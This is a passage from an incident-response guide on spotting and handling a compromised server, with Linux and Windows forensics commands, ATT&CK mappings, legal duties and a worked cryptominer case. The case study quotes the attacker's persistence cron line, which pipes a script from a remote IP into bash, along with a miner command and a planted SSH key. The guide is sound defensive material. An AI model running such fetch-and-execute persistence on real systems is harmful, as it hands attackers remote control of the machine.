replacement\nss -tulpn          # All listening sockets with process names\nss -tnp            # All established TCP connections with process names\n\n# Find unexpected external connections\nss -tnp | grep -v \"127.0.0.1\\|::1\\|10\\.\\|172\\.16\\.\\|192\\.168\\.\"\n```\n\n### 6.4 File System Forensics\n\n```\n# Files modified in the last N days\nfind / -mtime -1 -type f -not -path \"/proc/*\" -not -path \"/sys/*\" 2>/dev/null\n\n# Files modified within a specific time window\nfind /var/www -newermt \"2024-01-15 00:00\" ! -newermt \"2024-01-16 00:00\" -type f\n\n# World-writable files (common malware drop point)\nfind / -perm -o+w -type f -not -path \"/proc/*\" 2>/dev/null\n\n# SUID/SGID binaries\nfind / -type f \\( -perm -4000 -o -perm -2000 \\) -not -path \"/proc/*\" 2>/dev/null\n\n# Hidden files and directories\nfind / -name \".*\" -type f -not -path \"/proc/*\" -not -path \"/home/*/.bash*\" 2>/dev/null | head -30\n```\n\n### 6.5 Rootkit Detection\n\n```\n# chkrootkit — scans system binaries and /proc for known rootkit signatures\napt install chkrootkit  # OR yum install chkrootkit\nchkrootkit -q           # Only show positive findings\n\n# rkhunter — more comprehensive: checks binaries, backdoors, configs, network ports\napt install rkhunter\nrkhunter --update       # Update signatures first\nrkhunter --check --rwo  # Only show warnings\n```\n\n### 6.6 System Auditing with auditd\n\n```\n# Install and enable\napt install auditd && systemctl enable auditd && systemctl start auditd\n\n# Add critical watch rules\nauditctl -w /etc/passwd -p wa -k passwd_change\nauditctl -w /etc/sudoers -p wa -k sudoers_change\nauditctl -w /tmp -p x -k tmp_exec             # Exec from /tmp (common malware staging)\nauditctl -w /bin/bash -p x -k bash_exec\n\n# Search audit log\nausearch -k passwd_change          # Events matching watch key\nausearch -m execve --start today   # All exec calls today\nausearch -x /bin/bash --start yesterday\n\n# Human-readable reports\naureport --summary\naureport --login --failed\naureport --exec\n```\n\n### 6.7 fail2ban\n\n```\nsystemctl status fail2ban\n\n# Check active bans\nfail2ban-client status\nfail2ban-client status sshd\n\n# Manually ban an attacking IP\nfail2ban-client set sshd banip 203.0.113.42\n\n# View banned IPs\nfail2ban-client banned\n```\n\n## 7. MITRE ATT&CK Technique Mapping\n\nThe MITRE ATT&CK framework provides a standardised vocabulary for attacker behaviour. Use these mappings to align your detection rules, SIEM queries, and threat hunting to industry-standard technique IDs.\n\n| ATT&CK Tactic | Technique ID | Technique Name | Indicator / Detection |\n|---|---|---|---|\n| Initial Access | T1190 | Exploit Public-Facing Application | Web server 500 errors, unusual POST payloads |\n| Initial Access | T1078 | Valid Accounts | Successful logins from unexpected IPs |\n| Initial Access | T1110.001 | Brute Force: Password Guessing | SSH failed login spikes in `auth.log`\n|\n| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | Email logs, browser forensics |\n| Initial Access | T1195 | Supply Chain Compromise | Unexpected behaviour in dependency code |\n| Execution | T1059.004 | Unix Shell | Unexpected shell spawned from web process |\n| Execution | T1059.001 | PowerShell | PowerShell with `-EncodedCommand` or download |\n| Persistence | T1053.003 | Cron Job | Unknown entries in `/etc/cron.d/`\n|\n| Persistence | T1098.004 | SSH Authorized Keys | New keys in `~/.ssh/authorized_keys`\n|\n| Persistence | T1543.002 | Systemd Service | Unknown `.service` files in `/etc/systemd/`\n|\n| Persistence | T1136.001 | Create Local Account | New entries in `/etc/passwd`\n|\n| Privilege Escalation | T1548.001 | Setuid/Setgid | New SUID binaries not in baseline |\n| Privilege Escalation | T1548.003 | Sudo Caching | NOPASSWD entries in sudoers |\n| Defence Evasion | T1562.001 | Disable or Modify Tools |\n`auditd` / `fail2ban` stopped |\n| Defence Evasion | T1070.002 | Clear Linux/Mac System Logs | Log files truncated; gaps in timestamps |\n| Defence Evasion | T1574.006 | LD_PRELOAD | Unexpected `/etc/ld.so.preload` entries |\n| Credential Access | T1552.004 | Private Keys | SSH private keys exfiltrated from `~/.ssh/`\n|\n| Credential Access | T1003 | OS Credential Dumping |\n`/etc/shadow` accessed; `mimikatz` on Windows |\n| Discovery | T1082 | System Information Discovery |\n`uname -a` , `id` , `hostname` in bash history |\n| Discovery | T1046 | Network Service Discovery | Port scanning activity in firewall logs |\n| Lateral Movement | T1021.004 | Remote Services: SSH | SSH connections to other internal hosts |\n| Collection | T1005 | Data from Local System | Unusual `find` / `tar` / `zip` commands |\n| Exfiltration | T1041 | Exfiltration Over C2 Channel | Large outbound transfers on established C2 port |\n| Exfiltration | T1048 | Exfiltration Over Alternative Protocol | DNS tunnelling, ICMP data transfer |\n| Command & Control | T1071.004 | Application Layer Protocol: DNS | High-entropy DNS queries; DNS tunnelling |\n| Command & Control | T1071.001 | Web Protocols | HTTPS C2 over port 443 to unknown IPs |\n| Impact | T1496 | Resource Hijacking | Cryptominer processes; 90%+ CPU with no load |\n| Impact | T1485 | Data Destruction | Mass file deletion; `rm -rf` in audit logs |\n\nPractical use:When you discover an indicator, look up its ATT&CK technique ID. Then check the ATT&CK page for \"Mitigations\" and \"Detections\" — the community has already written SIEM rules and EDR signatures for most techniques. Use[MITRE ATT&CK Navigator]to visualise your detection coverage.\n\n## 8. Indicators of Compromise (IoC) Checklist\n\nUse this checklist during an active investigation. Check each item and record your findings.\n\n| # | Indicator | Where to Check | MITRE ID | Status |\n|---|---|---|---|---|\n| 1 | New or unrecognised user accounts | `/etc/passwd` |\nT1136 | ☐ |\n| 2 | Users added to sudo / wheel group |\n`/etc/sudoers` , `getent group sudo`\n|\nT1548 | ☐ |\n| 3 | Unrecognised SSH authorized_keys |\n`~/.ssh/authorized_keys` (all users) |\nT1098.004 | ☐ |\n| 4 | Unexpected successful SSH logins |\n`/var/log/auth.log` or `secure`\n|\nT1078 | ☐ |\n| 5 | Logins from unexpected IPs or geos |\n`last -a` , CloudTrail / audit logs |\nT1078 | ☐ |\n| 6 | Unknown or high-CPU processes | `ps aux --sort=-%cpu` |\nT1496 | ☐ |\n| 7 | Processes on unexpected ports | `ss -tulpn` |\nT1571 | ☐ |\n| 8 | Unexpected outbound connections |\n`ss -tnp` , VPC Flow Logs |\nT1041 | ☐ |\n| 9 | Unknown or modified cron jobs |\n`crontab -l` , `/etc/cron.d/`\n|\nT1053.003 | ☐ |\n| 10 | Unknown systemd services | `systemctl list-units --type=service` |\nT1543.002 | ☐ |\n| 11 | Modified system binaries |\n`rkhunter --check` , `debsums` , `rpm -Va`\n|\nT1601 | ☐ |\n| 12 | Webshells in web root | `find /var/www -name \"*.php\" -exec grep -l eval {} \\;` |\nT1505.003 | ☐ |\n| 13 | SUID binaries not in baseline | `find / -perm -4000` |\nT1548.001 | ☐ |\n| 14 | Modified `/etc/hosts` or DNS config |\n`cat /etc/hosts` , `cat /etc/resolv.conf`\n|\nT1565 | ☐ |\n| 15 | Modified SSH server config | `cat /etc/ssh/sshd_config` |\nT1556 | ☐ |\n| 16 | Modified PAM config | `ls -la /etc/pam.d/` |\nT1556.003 | ☐ |\n| 17 | Disabled or stopped security tools | `systemctl status auditd fail2ban` |\nT1562.001 | ☐ |\n| 18 | Gaps or tampering in log files |\n`ls -la /var/log/` , check file sizes |\nT1070.002 | ☐ |\n| 19 | Unusual files in `/tmp` , `/dev/shm`\n|\n`ls -la /tmp/ /dev/shm/ /var/tmp/` |\nT1059 | ☐ |\n| 20 | Unexpected kernel modules | `lsmod` |\nT1215 | ☐ |\n| 21 | New firewall rules (ports opened) |\n`iptables -L -n` , cloud security groups |\nT1562.004 | ☐ |\n| 22 | Cloud IAM changes or new API keys | CloudTrail, GCP Audit Logs, Azure Monitor | T1078.004 | ☐ |\n| 23 | Large outbound data transfers | Network flow logs, VPC Flow Logs | T1048 | ☐ |\n| 24 | Rootkit detection findings |\n`chkrootkit -q` , `rkhunter --check --rwo`\n|\nT1014 | ☐ |\n| 25 | Modified `.bashrc` / `.profile`\n|\n`cat /root/.bashrc` |\nT1546.004 | ☐ |\n| 26 | Privileged / host-mounted containers | `kubectl get pods --all-namespaces -o json` |\nT1610 | ☐ |\n| 27 | High-entropy DNS queries | Zeek `dns.log` , Suricata EVE JSON |\nT1071.004 | ☐ |\n| 28 | Suricata / IDS C2 alerts | `/var/log/suricata/eve.json` |\nT1071.001 | ☐ |\n| 29 |\n`LD_PRELOAD` entries |\n`cat /etc/ld.so.preload` |\nT1574.006 | ☐ |\n| 30 | Deleted files still running in memory | `lsof | grep deleted` | T1070 |\n\n## 9. Immediate Response Actions\n\nOnce compromise is confirmed, act decisively and in the correct order.\n\n### 9.1 Isolate the Server\n\n```\n# Option A: Block all traffic except your investigation IP (iptables)\niptables -I INPUT -s YOUR_IP/32 -j ACCEPT\niptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT\niptables -P INPUT DROP\niptables -P OUTPUT DROP\niptables -P FORWARD DROP\n\n# Option B: AWS — remove all inbound rules from the security group\naws ec2 revoke-security-group-ingress \\\n  --group-id sg-XXXX --protocol all --cidr 0.0.0.0/0\n```\n\nSnapshot the disk\n\nbeforeisolating the server for forensic preservation.\n\n### 9.2 Kill Malicious Sessions\n\n```\n# View active sessions\nwho && w\n\n# Kill a specific terminal session (use PTS from `who` output)\npkill -kill -t pts/1\n\n# Kill a specific process by PID\nkill -9 <PID>\n\n# Kill all processes owned by a suspicious user\npkill -u suspicioususer\n```\n\n### 9.3 Rotate All Credentials\n\nRotate **after** isolation to prevent the attacker from responding destructively.\n\n```\n# Remove unauthorised SSH keys, then generate new keys for your team\nssh-keygen -t ed25519 -C \"new_key_post_incident_$(date +%F)\"\n\n# Rotate system user passwords\npasswd root && passwd <other_users>\n\n# AWS — rotate IAM access keys\naws iam create-access-key --user-name YOUR_USER\naws iam delete-access-key --user-name YOUR_USER --access-key-id OLD_KEY_ID\n\n# Rotate database passwords (PostgreSQL example)\npsql -U postgres -c \"ALTER USER appuser WITH PASSWORD 'new_strong_password';\"\n\n# Rotate API keys, webhook secrets, JWT secrets, and update secrets manager\n```\n\n### 9.4 Patch the Exploited Vulnerability\n\n```\n# Full system update (Ubuntu/Debian)\napt update && apt upgrade -y\n\n# Full system update (RHEL/CentOS/Amazon Linux)\nyum update -y\n\n# Patch a specific component (e.g., OpenSSH)\napt install --only-upgrade openssh-server\n```\n\n### 9.5 Restore from Backups\n\n```\n# Compare current file hashes against your baseline\nmd5sum /usr/bin/ls /bin/bash /sbin/sshd > current_hashes.txt\ndiff baseline_hashes.txt current_hashes.txt\n\n# Restore specific files from backup\nrsync -avz backup_server:/backups/latest/etc/ /etc/\n```\n\n### 9.6 Notify Stakeholders\n\nTimely, accurate communication is a legal and operational requirement — see Section 10 for regulatory obligations.\n\n**Internal (immediately on confirmation):**\n\n- CTO / Engineering Lead\n- Legal and Compliance\n- On-call team\n\n**External (based on data exposure assessment):**\n\n- Affected customers\n- Data protection authorities\n- Cyber insurance provider\n- Law enforcement (for significant breaches or ransomware)\n\n## 10. Legal, Compliance & Regulatory Obligations\n\nA server compromise is not just a technical event — it is a **legal event**. The moment you confirm that personal data, payment data, or protected health information may have been accessed, a regulatory clock starts ticking. Ignoring this can result in fines that dwarf your remediation costs.\n\n### 10.1 GDPR (General Data Protection Regulation)\n\nApplies to any organisation that processes data of EU/UK residents, regardless of where your servers are located.\n\n| Obligation | Requirement | Deadline |\n|---|---|---|\nSupervisory Authority Notification |\nReport to your national DPA if the breach is likely to result in risk to individuals |\n72 hours from becoming aware |\nIndividual Notification |\nNotify affected individuals directly if the breach is likely to result in high risk |\nWithout undue delay |\nDocumentation |\nRecord all breaches, even if not reported externally | Immediate; kept permanently |\n\n**Key GDPR contacts (examples):**\n\n- UK: ICO — ico.org.uk/report-a-breach\n- Ireland: DPC — dataprotection.ie\n- Germany: Each Bundesland has its own DPA\n\n```\nGDPR Breach Assessment Checklist:\n☐ What categories of personal data were exposed?\n  (Names, emails = low risk | Health data, financial = HIGH risk)\n☐ How many data subjects are affected?\n☐ Can the data be used to cause harm (identity theft, discrimination)?\n☐ Was the data encrypted at rest?\n☐ Has the attacker been confirmed to have accessed the data,\n  or just the server?\n```\n\n### 10.2 PCI-DSS (Payment Card Industry Data Security Standard)\n\nApplies if your servers process, store, or transmit cardholder data (credit/debit card numbers).\n\n| Obligation | Requirement |\n|---|---|\nIncident Response Plan |\nYou must have a documented, tested IR plan (Requirement 12.10) |\nNotify Card Brands |\nContact Visa, Mastercard, Amex directly within 24 hours of suspected compromise |\nNotify Acquiring Bank |\nYour payment processor must be informed immediately |\nForensic Investigation |\nA PCI Forensic Investigator (PFI) may be required for serious breaches |\nLog Preservation |\nPreserve all logs for at least 12 months; 3 months immediately available |\n\nCritical:Do not wipe or rebuild compromised systems in a PCI environment until your acquiring bank authorises it — you may be required to preserve the evidence for a PFI investigation.\n\n### 10.3 SEC Cybersecurity Disclosure Rules (US Public Companies)\n\nThe SEC's 2023 cybersecurity rules require public companies to:\n\n- Disclose\n**material** cybersecurity incidents on**Form 8-K within 4 business days** of determining materiality - Disclose cybersecurity risk management, strategy, and governance in annual reports (Form 10-K)\n\nA breach is \"material\" if a reasonable investor would consider it important to an investment decision — typically when customer data, revenue, operations, or reputation is significantly affected.\n\n### 10.4 Nigeria Data Protection Act (NDPA) / NDPR\n\nFor Nigerian-based organisations (particularly relevant for fintechs and startups operating in Nigeria):\n\n- The Nigeria Data Protection Act 2023 requires notification to the Nigeria Data Protection Commission (NDPC) of data breaches\n- Notification of affected data subjects is required where the breach is likely to cause harm\n- Organisations must maintain a breach register\n\n### 10.5 Law Enforcement Engagement\n\n```\nWhen to engage law enforcement:\n☐ Nation-state or politically motivated attack (CISA in the US, NCSC in UK)\n☐ Ransomware (FBI has a dedicated ransomware task force)\n☐ Financial fraud or wire transfers initiated via the compromise\n☐ Child exploitation material discovered on the server\n☐ Any attack on critical infrastructure\n\nImportant: Do NOT pay ransoms without consulting legal counsel.\nSome ransomware groups are on OFAC sanctions lists — paying them\nmay itself be a criminal act under US law.\n```\n\n**Key contacts:**\n\n-\n**US:** FBI Cyber Division — ic3.gov | CISA — cisa.gov/report -\n**UK:** NCSC — ncsc.gov.uk/section/about-ncsc/report-an-incident -\n**Nigeria:** NITDA — nitda.gov.ng\n\n### 10.6 Cyber Insurance\n\nIf your organisation holds a cyber insurance policy:\n\n```\nPost-incident insurance checklist:\n☐ Notify your insurer BEFORE rebuilding systems (they may require\n  their own forensic investigator)\n☐ Document all incident response costs (staff hours, third-party IR,\n  legal fees, notification costs)\n☐ Do not make public statements about the breach without legal sign-off\n☐ Preserve all evidence in its original state until the insurer approves\n☐ Check your policy for ransomware payment coverage and sublimits\n```\n\n## 11. Prevention Best Practices\n\n### 11.1 Multi-Factor Authentication (MFA)\n\n```\n# Install Google Authenticator PAM for SSH MFA\napt install libpam-google-authenticator\necho \"auth required pam_google_authenticator.so\" >> /etc/pam.d/sshd\n\n# Enforce in sshd_config\ncat >> /etc/ssh/sshd_config << EOF\nChallengeResponseAuthentication yes\nAuthenticationMethods publickey,keyboard-interactive\nEOF\nsystemctl restart sshd\n```\n\n### 11.2 Least Privilege\n\n```\n# Audit sudo — nobody should have NOPASSWD unless absolutely necessary\ngrep -r \"NOPASSWD\" /etc/sudoers /etc/sudoers.d/\n\n# Lock down SSH\ncat >> /etc/ssh/sshd_config << EOF\nPermitRootLogin no\nPasswordAuthentication no\nPubkeyAuthentication yes\nAllowUsers deploy ubuntu YOUR_USER\nMaxAuthTries 3\nLoginGraceTime 30\nEOF\nsystemctl restart sshd\n```\n\n### 11.3 Automated Patch Management\n\n```\n# Enable automatic security-only updates (Ubuntu)\napt install unattended-upgrades\ndpkg-reconfigure --priority=low unattended-upgrades\n```\n\n### 11.4 Log Monitoring Architecture\n\n```\n┌──────────────────────────────────────────────────────────────────┐\n│                    LOGGING ARCHITECTURE                          │\n│                                                                  │\n│  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting         │\n│  (auth.log,        (Fluentd,             (Elastic/Kibana,        │\n│   syslog,           Filebeat,             Splunk, Datadog,       │\n│   nginx.log,        Logstash)             Wazuh)                 │\n│   Zeek,                                        ↓                │\n│   Suricata)                            Alert Rules               │\n│                                        - Root login              │\n│                                        - New user created        │\n│                                        - Port scan detected      │\n│                                        - Auth failure spike      │\n│                                        - C2 beacon detected      │\n└──────────────────────────────────────────────────────────────────┘\n```\n\n### 11.5 IDS/IPS, EDR, and File Integrity Monitoring\n\n```\n# Wazuh agent (open-source HIDS/SIEM)\ncurl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -\necho \"deb https://packages.wazuh.com/4.x/apt/ stable main\" | \\\n  tee /etc/apt/sources.list.d/wazuh.list\napt update && apt install wazuh-agent\nsystemctl enable wazuh-agent && systemctl start wazuh-agent\n\n# AIDE — File Integrity Monitoring\napt install aide\naideinit\ncp /var/lib/aide/aide.db.new /var/lib/aide/aide.db\n# Automated daily check\necho \"0 2 * * * root /usr/bin/aide --check | \\\n  mail -s 'AIDE Report' security@yourcompany.com\" >> /etc/crontab\n```\n\n### 11.6 Backup Strategy (3-2-1 Rule)\n\n```\n┌────────────────────────────────────────────────┐\n│           THE 3-2-1 BACKUP RULE                │\n│                                                │\n│  3  copies of your data                        │\n│  2  different storage media / services         │\n│  1  copy offsite / air-gapped                  │\n│                                                │\n│  Cloud implementation:                         │\n│  - Daily automated EBS/disk snapshots          │\n│  - Weekly cross-region backup copy             │\n│  - Monthly export to immutable cold storage    │\n│  - Quarterly restore test (actually restore!)  │\n└────────────────────────────────────────────────┘\n```\n\n### 11.7 Harden Your Attack Surface\n\n```\n# Disable unused services\nsystemctl disable --now bluetooth avahi-daemon cups\n\n# UFW firewall — default deny\nufw default deny incoming\nufw default allow outgoing\nufw allow 22/tcp && ufw allow 443/tcp && ufw allow 80/tcp\nufw enable\n\n# AWS IMDSv2 only (prevents SSRF attacks from stealing IAM credentials)\naws ec2 modify-instance-metadata-options \\\n  --instance-id i-YOUR_INSTANCE_ID \\\n  --http-tokens required \\\n  --http-endpoint enabled\n```\n\n## 12. Windows Server Incident Response\n\nWindows Server environments require a parallel investigation workflow. Here is a concise Windows-specific playbook.\n\n### 12.1 PowerShell Forensic Commands\n\n```\n# ── Active Sessions ───────────────────────────────────────────────\n# List all logged-in users\nquery user /server:localhost\nGet-WmiObject Win32_LoggedOnUser | Select-Object Antecedent, Dependent\n\n# ── Process Investigation ─────────────────────────────────────────\n# Full process listing with parent PIDs (reveals process tree)\nGet-Process | Select-Object Name, Id, CPU, WS, Path |\n  Sort-Object CPU -Descending | Format-Table -AutoSize\n\n# Show processes with network connections\nGet-NetTCPConnection -State Established |\n  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,\n                OwningProcess, @{n='Process';e={(Get-Process -Id $_.OwningProcess).Name}} |\n  Format-Table -AutoSize\n\n# ── Scheduled Tasks (attacker persistence) ────────────────────────\nGet-ScheduledTask | Where-Object {$_.State -ne \"Disabled\"} |\n  Select-Object TaskName, TaskPath, State |\n  Format-Table -AutoSize\n\n# Find recently created scheduled tasks (last 7 days)\nGet-ScheduledTask | Where-Object {\n  $_.Date -gt (Get-Date).AddDays(-7)\n} | Select-Object TaskName, Date, TaskPath\n\n# ── Local Users & Groups (backdoor accounts) ─────────────────────\nGet-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet\nGet-LocalGroupMember -Group \"Administrators\"\n\n# ── Event Log Forensics ───────────────────────────────────────────\n# Failed logins in the last 24 hours\nGet-WinEvent -FilterHashtable @{\n  LogName='Security'; Id=4625\n  StartTime=(Get-Date).AddHours(-24)\n} | Select-Object TimeCreated, Message | Format-List\n\n# Successful logins from the last 24 hours\nGet-WinEvent -FilterHashtable @{\n  LogName='Security'; Id=4624\n  StartTime=(Get-Date).AddHours(-24)\n} | Select-Object TimeCreated, Message | Format-List\n\n# New user account creations\nGet-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}\n\n# New scheduled task creations\nGet-WinEvent -FilterHashtable @{LogName='Security'; Id=4698}\n\n# Service installations (malware as a service)\nGet-WinEvent -FilterHashtable @{LogName='System'; Id=7045}\n\n# Users added to privileged groups\nGet-WinEvent -FilterHashtable @{LogName='Security'; Id=4728} # Domain group\nGet-WinEvent -FilterHashtable @{LogName='Security'; Id=4732} # Local group\n\n# ── Persistence Locations ─────────────────────────────────────────\n# Registry run keys (common autorun persistence)\nGet-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\n\n# Services (attacker-installed services)\nGet-Service | Where-Object {$_.StartType -eq \"Automatic\"} |\n  Select-Object Name, DisplayName, Status, StartType\n\n# WMI subscriptions (fileless persistence)\nGet-WMIObject -Namespace root/subscription -Class __EventFilter\nGet-WMIObject -Namespace root/subscription -Class __EventConsumer\n\n# ── Network Investigation ─────────────────────────────────────────\n# All listening ports with process association\nnetstat -ano | findstr LISTENING\n\n# Map PIDs to process names\nGet-NetTCPConnection -State Listen |\n  Select-Object LocalPort, OwningProcess,\n    @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}}\n\n# ── Prefetch and Recent Execution ─────────────────────────────────\n# Prefetch files reveal recently executed programs (including malware)\nGet-ChildItem C:\\Windows\\Prefetch | Sort-Object LastWriteTime -Descending | Select-Object -First 20\n\n# Recently modified files in temp and user directories\nGet-ChildItem $env:TEMP, $env:TMP, \"C:\\Users\\*\\AppData\\Local\\Temp\" -Recurse -ErrorAction SilentlyContinue |\n  Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} |\n  Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending\n\n# ── Preserve Evidence ─────────────────────────────────────────────\n# Export Security event log for offline analysis\nwevtutil epl Security C:\\forensics\\security.evtx\nwevtutil epl System C:\\forensics\\system.evtx\nwevtutil epl Application C:\\forensics\\application.evtx\n\n# Create a hash of collected evidence\nGet-FileHash C:\\forensics\\* | Export-Csv C:\\forensics\\evidence_hashes.csv\n```\n\n### 12.2 Sysmon Configuration\n\nSysmon (System Monitor) dramatically enhances Windows event logging. Deploy it on all Windows servers.\n\n```\n# Download and install Sysmon\n# Download from: https://docs.microsoft.com/sysinternals/downloads/sysmon\n.\\Sysmon64.exe -accepteula -i sysmonconfig.xml\n\n# Recommended config: SwiftOnSecurity's sysmon-config\n# https://github.com/SwiftOnSecurity/sysmon-config\nInvoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml \\\n  -OutFile sysmonconfig.xml\n.\\Sysmon64.exe -c sysmonconfig.xml  # Apply config\n\n# Key Sysmon Event IDs to monitor:\n# Event 1:  Process Creation (captures full command line + parent)\n# Event 3:  Network Connection (process-level network visibility)\n# Event 7:  Image Loaded (DLL injection detection)\n# Event 8:  CreateRemoteThread (process injection)\n# Event 10: ProcessAccess (LSASS dumping detection — Event 10 + target=lsass.exe)\n# Event 11: FileCreate (malware dropping files)\n# Event 13: RegistryValue Set (persistence via registry)\n# Event 22: DNS Query (C2 domain tracking)\n# Event 25: ProcessTampering (hollowing/herpaderping)\n\n# Query Sysmon logs via PowerShell\nGet-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" |\n  Where-Object {$_.Id -eq 1} |  # Process creation\n  Select-Object TimeCreated,\n    @{n='CommandLine';e={$_.Properties[10].Value}},\n    @{n='ParentProcess';e={$_.Properties[20].Value}} |\n  Format-List | Select-Object -First 20\n```\n\n### 12.3 Windows Defender Logs\n\n```\n# View Windows Defender threat history\nGet-MpThreatDetection | Select-Object ThreatName, ActionSuccess, DetectionTime,\n  Resources, ProcessName | Format-List\n\n# View all quarantined items\nGet-MpThreat | Select-Object ThreatName, SeverityID, IsActive | Format-Table\n\n# Check Defender health (attackers disable it)\nGet-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled,\n  AntivirusEnabled, RealTimeProtectionEnabled, OnAccessProtectionEnabled\n\n# Re-enable Defender if disabled by attacker\nSet-MpPreference -DisableRealtimeMonitoring $false\nStart-Service WinDefend\n```\n\n## 13. Real-World Example: Detecting a Compromised Linux Server\n\n### The Scenario\n\nA startup's Node.js API server on AWS EC2 (Ubuntu 22.04) starts showing unusual behaviour. The on-call engineer notices the server's CPU is at 95% with no corresponding increase in API traffic. The following investigation unfolds.\n\n**T+0:00 — Initial Alert**\n\nDatadog fires a CPU alert. The engineer SSHes in:\n\n``` bash\n$ top\n# \"kworkerds\" consuming 92% CPU\n# This is NOT a real kernel worker — it is disguised cryptomining malware\n```\n\n**T+0:05 — Process Investigation**\n\n``` bash\n$ ps aux | grep kworkerds\nnobody  14782  92.1  0.2  /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet>\n# Running from /tmp, connecting to a Monero mining pool\n\n$ ls -la /tmp/.cache/\n-rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds\n```\n\n**ATT&CK:** T1496 (Resource Hijacking), T1059.004 (Unix Shell)\n\n**T+0:08 — Network Investigation**\n\n``` bash\n$ ss -tnp | grep 14782\nESTAB  10.0.1.45:52441  195.201.x.x:443  (\"kworkerds\",pid=14782)\n# Confirmed: outbound connection to a known Monero mining pool\n```\n\n**ATT&CK:** T1071.001 (Application Layer Protocol: Web)\n\n**T+0:10 — Finding the Entry Point**\n\n``` bash\n$ grep \"Jan 15 03:\" /var/log/auth.log | grep \"Failed\\|Accepted\"\n# 847 failed password attempts for root from 91.108.x.x\nJan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109\n```\n\n**Root cause:** The `nobody`\n\nuser had a weak password and SSH password authentication was enabled. The attacker brute-forced it in under 4 minutes.\n\n**ATT&CK:** T1110.001 (Brute Force: Password Guessing), T1078 (Valid Accounts)\n\n**T+0:15 — Finding Persistence**\n\n``` bash\n$ crontab -l -u nobody\n* * * * * curl -s http://91.108.x.x/update.sh | bash\n\n$ cat /home/nobody/.ssh/authorized_keys\nssh-rsa AAAAB3NzaC1... attacker@kali  # Planted for persistent re-entry\n```\n\n**ATT&CK:** T1053.003 (Cron Job), T1098.004 (SSH Authorized Keys)\n\n**T+0:20 — Isolation and Response**\n\n- AWS security group updated — deny all except investigation IP\n- EBS snapshot taken for forensic preservation\n- Process killed:\n`kill -9 14782`\n\n- Malicious cron removed and SSH key deleted\n- Binary removed:\n`rm -rf /tmp/.cache/`\n\n-\n`nobody`\n\naccount password rotated, SSH password auth disabled globally -\n`fail2ban`\n\nand`auditd`\n\ninstalled fleet-wide - AWS GuardDuty enabled (would have flagged the cryptomining connection within minutes had it been active)\n\n**Post-Incident Compliance Actions:**\n\n- Breach assessment conducted — no PII or payment data on this server\n- Legal confirmed: NDPA notification not required (no personal data in scope)\n- Incident documented in breach register per best practice\n- Post-mortem scheduled with full timeline reconstruction\n\n**Lessons Applied:**\n\n| Before | After |\n|---|---|\n| SSH password auth enabled | Password auth disabled fleet-wide |\n| No brute-force protection |\n`fail2ban` deployed on all servers |\n`nobody` user had login shell |\n`usermod -s /sbin/nologin nobody` |\n| No anomaly detection | AWS GuardDuty enabled, CPU alert baseline tightened |\n| No audit logging |\n`auditd` with watch rules deployed |\n\n## 14. Conclusion — The DICRP Framework\n\nEvery server incident, regardless of severity, fits into a five-phase lifecycle. Having a mental model for this prevents you from jumping straight to remediation before you have fully understood the scope.\n\n```\n┌────────────────────────────────────────────────────────────────────────────┐\n│                          THE DICRP FRAMEWORK                               │\n│                                                                            │\n│  ┌─────────┐  ┌───────────┐  ┌─────────┐  ┌─────────┐  ┌──────────┐      │\n│  │ DETECT  │─►│INVESTIGATE│─►│ CONTAIN │─►│ RECOVER │─►│ PREVENT  │      │\n│  └─────────┘  └───────────┘  └─────────┘  └─────────┘  └──────────┘      │\n│                                                                            │\n│  Detect         Investigate    Contain        Recover       Prevent        │\n│  ──────         ───────────    ───────        ───────       ───────        │\n│  Monitoring     Preserve       Isolate        Restore       MFA            │\n│  SIEM alerts    evidence       server         from backup   Least priv     │\n│  Log review     ID access      Kill sessions  Patch vuln    FIM            │\n│  Zeek/Suricata  vector         Rotate creds   Verify        IDS/SIEM       │\n│  Anomalies      Timeline       Scope blast    integrity     auditd         │\n│  GuardDuty      Persistence    radius         Resume ops    3-2-1 backup   │\n│                 MITRE mapping  Legal notify               Patch mgmt       │\n└────────────────────────────────────────────────────────────────────────────┘\n```\n\nA server compromise is not just a technical event — it is a **business event with legal, reputational, and financial consequences**. The teams that handle it best are not the ones who never get attacked; they are the ones who have already thought through their response before the incident happens.\n\nBuild your detection. Practice your playbook. Know your logs. Map your threats to ATT&CK. Know your compliance obligations before you need them.\n\nThe attacker only needs to get lucky once — you need to be ready every time.\n\n## 15. Quick Reference & LinkedIn Carousel\n\n### First 10 Minutes Checklist\n\n```\nFIRST 10 MINUTES — SERVER COMPROMISE RESPONSE\n────────────────────────────────────────────────────────────────────\n☐ Take a cloud disk snapshot BEFORE doing anything else\n☐ ps aux --sort=-%cpu | head -20         (find malicious processes)\n☐ ss -tulpn                              (find unexpected listeners)\n☐ last -n 50 -a                          (recent login history)\n☐ grep \"Accepted\" /var/log/auth.log | tail -30  (successful logins)\n☐ find / -mtime -1 -type f 2>/dev/null | head -20 (recent file changes)\n☐ crontab -l && ls /etc/cron.d/          (cron persistence)\n☐ cat ~/.ssh/authorized_keys             (all users)\n☐ Isolate server (update security group / iptables)\n☐ Notify your incident response team\n────────────────────────────────────────────────────────────────────\n```\n\n*This article reflects current best practices. The threat landscape evolves continuously — always verify CVEs, tooling, and log paths against your specific OS version and cloud provider documentation. MITRE ATT&CK version referenced: v14.*", "url": "https://wpnews.pro/news/how-to-know-if-a-threat-actor-has-accessed-your-server", "canonical_source": 